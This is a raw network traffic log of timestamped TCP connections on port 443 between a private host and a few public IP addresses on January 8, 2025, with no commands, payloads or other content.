Jan 8, 2025 15:44:37.017551899 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.017560959 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.017601967 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.017616987 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.017656088 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.017664909 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.017671108 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.017689943 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.017714024 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.018007040 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.018064022 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023380041 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023437977 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023475885 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023478985 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023489952 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023519039 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023679018 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023727894 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023736000 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023778915 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023821115 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.023868084 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.023952961 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024010897 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024354935 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024418116 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024539948 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024621010 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024648905 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024653912 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024665117 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024708033 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024748087 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024754047 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024790049 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.024830103 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.024890900 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.025474072 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.025528908 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.025557041 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.025602102 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.025703907 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.025753975 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.085424900 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.085803986 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.085824013 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.086850882 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.086918116 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087218046 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087229967 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087277889 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.087292910 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087378979 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087625980 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087672949 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.087749004 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087973118 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.087990046 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.089741945 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.089948893 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.089961052 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.091070890 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.091133118 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091413021 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091413021 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091461897 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091475010 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.091553926 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091676950 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091717958 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.091789007 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091964960 CET	49753	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.091976881 CET	443	49753	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.104995966 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105063915 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105087042 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105120897 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105133057 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105138063 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105185986 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105232000 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105282068 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105381012 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105441093 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105463982 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105510950 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.105534077 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.105590105 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106024027 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106061935 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106095076 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106101990 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106120110 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106167078 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106211901 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106216908 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106254101 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106259108 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106267929 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106297016 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106309891 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106316090 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.106343985 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.106343985 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.163486004 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.163551092 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.163600922 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.163670063 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.163680077 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.163959980 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.164052963 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.164062023 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.164110899 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.164241076 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.164319992 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.164376974 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.164382935 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187102079 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187243938 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187319040 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.187338114 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187499046 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187915087 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187949896 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.187980890 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.187989950 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.188000917 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.188358068 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.188386917 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.188438892 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.188446045 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.188808918 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.191989899 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.210258007 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.242222071 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.242238998 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.262639999 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.262707949 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.262917042 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.262996912 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.263036013 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.263089895 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.263220072 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.263286114 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.263725042 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.263771057 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.263796091 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.263802052 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.263828993 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.263847113 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.271240950 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271262884 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271317959 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.271326065 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271354914 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.271379948 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.271825075 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271841049 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271888018 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.271894932 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.271927118 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.272643089 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.272659063 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.272711992 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.272720098 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.272788048 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.273000956 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273021936 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273073912 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.273080111 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273343086 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.273842096 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273855925 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273904085 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.273910999 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.273933887 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.273960114 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.274722099 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.274735928 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.274787903 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.274796009 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.274853945 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278111935 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278142929 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278175116 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278204918 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278213024 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278229952 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278242111 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278264046 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278289080 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278310061 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278316021 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278326988 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278855085 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278884888 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.278933048 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.278940916 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.279088974 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.279129982 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.306411982 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:37.322236061 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.350270033 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.350362062 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.350366116 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.350424051 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.350814104 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.350828886 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.351739883 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.351996899 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.352006912 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.352962017 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.353028059 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353559017 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353573084 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353616953 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353619099 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.353678942 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353904963 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.353955984 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.354044914 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:37.354059935 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:37.354089975 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.354352951 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.354398966 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.355011940 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.355308056 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.355324030 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.355585098 CET	49755	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.355597973 CET	443	49755	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.367037058 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.367274046 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.367290020 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.368300915 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.368376017 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.368700981 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.368712902 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.368762970 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.368762970 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.368825912 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.369075060 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.369088888 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.369154930 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.369368076 CET	49756	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.369374037 CET	443	49756	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.370220900 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:37.382883072 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.383142948 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.383151054 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.384440899 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.384537935 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.384885073 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.384895086 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.384942055 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.384951115 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.385087967 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.385215044 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.385250092 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.385310888 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.385524035 CET	49757	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.385535955 CET	443	49757	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.387999058 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.388227940 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.388242006 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.389244080 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.389317036 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.389714003 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.389760971 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.389776945 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.389800072 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.389827967 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.390134096 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.390144110 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.390214920 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.390470982 CET	49758	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:37.390482903 CET	443	49758	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:37.431626081 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.431739092 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.431771994 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.431806087 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.431849957 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.431869030 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.431889057 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.432643890 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.432676077 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.432707071 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.432749987 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.432749987 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.432760000 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433429956 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433604956 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.433614016 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433870077 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433897018 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433923006 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.433954954 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.433959961 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.434000015 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.434710026 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.434772968 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.434775114 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.434784889 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.434834003 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.434864998 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.434870958 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.437216997 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.437222004 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.455569029 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.455631971 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.455665112 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.455696106 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.455710888 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.455954075 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456005096 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.456012964 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456106901 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.456223965 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456275940 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456321001 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456346989 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456372023 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.456381083 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.456403971 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.457026958 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457060099 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457087994 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.457093000 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457134008 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457180977 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.457190990 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457200050 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457261086 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.457267046 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.457865953 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.458072901 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.458080053 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.458264112 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.482222080 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.518994093 CET	443	49742	104.21.28.45	192.168.2.16
